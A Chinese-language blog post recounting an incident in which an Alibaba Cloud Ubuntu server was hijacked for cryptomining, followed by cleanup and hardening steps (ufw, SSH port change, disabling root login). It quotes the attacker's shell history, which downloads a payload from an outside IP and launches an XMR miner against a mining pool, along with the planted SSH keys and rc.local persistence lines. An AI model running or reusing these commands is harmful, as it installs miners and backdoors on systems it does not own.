就在近幾日的一天,咱們的一臺阿里雲ubuntu服務器應該被人黑進系統,作成了肉雞,佔用了大量資源,嚴重影響了使用。爲了儘快恢復服務,不得已,在我司沒有相關專業人才的狀況,臨危受命,光着膀子上陣,反擊戰就此拉開。linux
本來好好的一臺阿里雲上的服務器忽然訪問不了,經過ssh登陸幾乎沒有反應,鏈接不上。redis
服務器鏈接不上,服務器上的服務也訪問不了,直接懷疑服務器宕機了。登陸阿里雲的控制檯發現,該機器狀態正在運行,這就奇怪了。ubuntu
繼續再控制檯查看,發現該服務器的系統資源監控圖上,CPU和IO網絡資源佔用全都是100%,而咱們的服務根本用不了這麼多,懷疑有異常應用。安全
接着在控制檯的雲盾監控裏發現,該服務器存外地在一次異常登陸,這下確認,應該被人黑了。
這裏有個鬱悶的地方,阿里監控到了這個黑客,但想看更多的信息,就得升級VIP,就得花錢,還不便宜。服務器
肯定服務器被人動了手腳,但具體動了怎麼樣的手腳?如何恢復?怎麼防止?繼續分析。網絡
經過SSH根本訪問不了服務器,那想登錄服務器查找異常也實現不了,得先解決這問題。ssh
經過阿里控制強制重啓該服務器,剛剛重啓以後,用ssh登陸,正常。執行top命令,觀察系統資源狀況。剛開始一切正常,大概1分鐘左右後,整個服務器進程全變成了ps進程,系統資源被耗盡,cpu,內存全滿。tcp
再次重啓,嘗試幾回以後發現,剛重啓的時候ssh登陸,ps,top命令執行正常,1分鐘後系統全部進程基本全變成了ps,top,nestat進程,而且大量的佔用資源,致使幾乎每一個進程都是100%的cpu消耗。而再執行ps,top,netstat命令,命令正常結束,但沒有任何輸出。經過和其餘正常服務器的對比,肯定這幾個命令被替換了。ui
經過history命令發現,有一段命令操做像是安裝肉雞的操做:阿里雲
1988 wget http://118.192.146.141:21222/generic.zip 1989 unzip generic.zip 1990 rm -rf generic.zip 1991 cd generic.zip 1992 cd generic 1993 chmod 777 yam 1994 (./yam -c x -M stratum+tcp://45scyJKLwUNFWdZQHanAWw7LDRGrfCeTGft12xyo6Cg6Z2XWhdub7BWW5H2iBrGGAc9XfC4VsQcRbPNgLgZDSqBK9KGJAvG:x@xmr.crypto-pool.fr:3333/xmr &) 1995 exit 1996 top
該命令在root目錄下載了一個zip文件,解壓後賦權限,啓動了一個命令,這個命令看不懂。經過baidu大概知道,利用redis安全漏洞攻擊的腳本里的命令跟這個挺像。
檢查ssh key發現,在/root/.ssh/authorized_keys、authoried_keys文件裏新增兩個ssh key的配置,根據最後的名稱發現,明顯不是咱們的。
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCm3sLlDeWVz+wniirqWHTj r3X3Wn1EMPC5Ii7gC3yJ2w3XBZRqxg9WYYFD/9RlacTnO9LUcV35AQ+p+N9CSATMJLIK/iZznFSFtnbrqonhFd2SUtRhT8fPvwdSTmmKVZDOiI+ZWJcpffY8pOf2iXBkiVv3QIdTViJIkBF918gwIbQGYF5AJ+EqgA1HvOcMIM2C4btMwjImhGUW13buMv6RPfQHpayaPuC6xjGoqrhKvv9hEAAKn/g60S76Bj4WhXcbtYb8y0v1/TNRqv6AT7Om+NfjJUt6cxfgTw5SoQIFFQAKd3UyRr+z2xchSEf14lDRPrRU51tr4elU82MVKXBh root@kali ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+wDfk9Uf97bGjImaI1c3Xi4DRTLqvW7GN1YoKJ2GJLIGbQlg7gYtDpcu0fjOjvL95kNNVkVcwBD5XzkmI+IM4nzybmMFX//r5efTp1z9fDWP3KvORo+qWJvwTcxwB8nYQRlwpkQn5HTXj4WkGpa93v5PthReoDFdPHmB+FMadbN6n9z2gOr+hNVSxeNGpNFzWNFVcGCKfMl7sJgexaw5gjeEobouvd1BvdbEBeIggnTSSEHYMpL0QlpHjWErgTCURIKno5xScpWmE9ejAui7uEjdDbtpjrY2Z8O9zExQtNRSb2gNXAtl3Y+3vfS6g8CzOTV2wdExukvKw+1zWQVFL zuoshou@ubuntu
6.檢查系統開機自啓項,/etc/rc.local裏發現兩個沒見過的自啓腳本。
sh /etc/issue.sh & sh /etc/iisethert.sh &
同時發現/etc/目錄issue.sh,iisethert.sh 文件。而後,進入/etc/init.d/目錄,發現幾十個沒見過的文件
hkiewsdxasasx* akslkkxmjdslk* klkmxasdsiwqx* opewlncwxjioq* ....
看着就像程序隨機生成的,按時間排序,發現這些都是最近的。總共50多個。另外發現DbSecuritySpt、selinux腳本,也以爲是異常腳本。
根據以前的分析,大概知道哪裏出了異常。具體異常之處的做用,暫沒有分析,先解決問題爲主。
刪除異常root目錄下generic相關文件
刪除異常的ssh key
刪除/etc/rc.local異常腳本配置
刪除/etc/init.d/下異常腳本
刪除/etc/rc0.d~rc6.d/目錄異常腳本鏈接
從其餘正常的服務器上,複製正常的ps、top、netstat命令到/bin目錄下,恢復命令。
上面的反擊操做不是一撮而就的,重啓了好幾回服務器,陸續執行上面的反擊操做。終於,最後一次重啓服務器,經過top命令發現,系統進程正常了。
過後在網上搜到一篇相似的文章,個人具體狀況和他的有些不同,估計是一種新變種。
參考文章:一次Linux服務器被入侵和刪除木馬程序的經歷
解決了問題,就要考慮如何防止。一查才發現咱們以前的防禦實在是有點太弱了。常規的防禦手段都沒有用,趕忙上。
安裝
sudo apt-get install ufw
啓用防火牆
sudo ufw enable sudo ufw default deny
開啓了防火牆並隨系統啓動同時關閉全部外部對本機的訪問(本機訪問外部正常)。
關閉防火牆
sudo ufw disable
查看防火牆狀態
sudo ufw status
開啓/禁用相應端口
sudo ufw allow 80 容許外部訪問80端口 sudo ufw delete allow 80 禁止外部訪問80 端口 sudo ufw allow from 192.168.1.1 容許此IP訪問全部的本機端口 sudo ufw deny smtp 禁止外部訪問smtp服務 sudo ufw delete allow smtp 刪除上面創建的某條規則 sudo ufw deny proto tcp from 10.0.0.0/8 to 192.168.0.1 port 22 要拒絕全部的TCP流量從10.0.0.0/8 到192.168.0.1地址的22端口
能夠容許全部RFC1918網絡(局域網/無線局域網的)訪問這個主機(/8,/16,/12是一種網絡分級):
sudo ufw allow from 10.0.0.0/8 sudo ufw allow from 172.16.0.0/12 sudo ufw allow from 192.168.0.0/16
推薦設置
sudo apt-get install ufw sudo ufw enable sudo ufw default deny
Linux中SSH默認端口爲22,爲了安全考慮,咱們有必要對22端口進行修改,現修改端口爲60000;修改方法以下:
在/etc/ssh/sshd_config中找到Port 22,將其修改成60000,或使用/usr/sbin/sshd -p 60000指定端口。
若是想讓22和60000端口同時開放,只需在/etc/ssh/sshd_config增長一行內容以下:
[root@localhost /]# vi /etc/ssh/sshd_config Port 22 Port 60000
保存並退出
[root@localhost /]#service ssh restart
重啓 ssh 服務
root@ubuntu14:~# service ssh restart ssh stop/waiting ssh start/running, process 1499 root@ubuntu14:~#
假如增長用戶zhangsan的sudo權限。
修改/etc/sudoers文件,在root下增長以下一行。
root ALL=(ALL) ALL zhangsan ALL=(ALL) ALL
增長用戶名zhangsan:
useradd zhangsan passwd zhangsan
禁止root用戶登陸:修改/etc/ssh/sshd_config文件,將PermitRootLogin前的#號去掉,yes改成no,重啓network。
# Authentication: LoginGraceTime 120 #PermitRootLogin without-password PermitRootLogin no StrictModes yes
按照以上方法,root用戶將不能登陸,則使用zhangsan用戶登陸。切換到root權限可以使用#sudo su ,而後輸入zhangsan的密碼便可。
嚴格的說這不能算一次漂亮的反擊戰,只是暫時解決了問題,由於時間緊迫,過程當中也沒有保存異常的文件供後續研究,也沒有截圖。
對於黑客技術,碼農知之甚少,此次被人搞了事情以後,看來很是有必要知道這方面的知識。這個搞事情的人不知道是大意了仍是水平通常,仍是很容易發現系統異常,若是遇到高級黑,估計我就傻眼了。總之,不以惡小而爲之,OK?
歡迎關注公衆號:codergarden。咱碼農的自留地,歡迎投稿。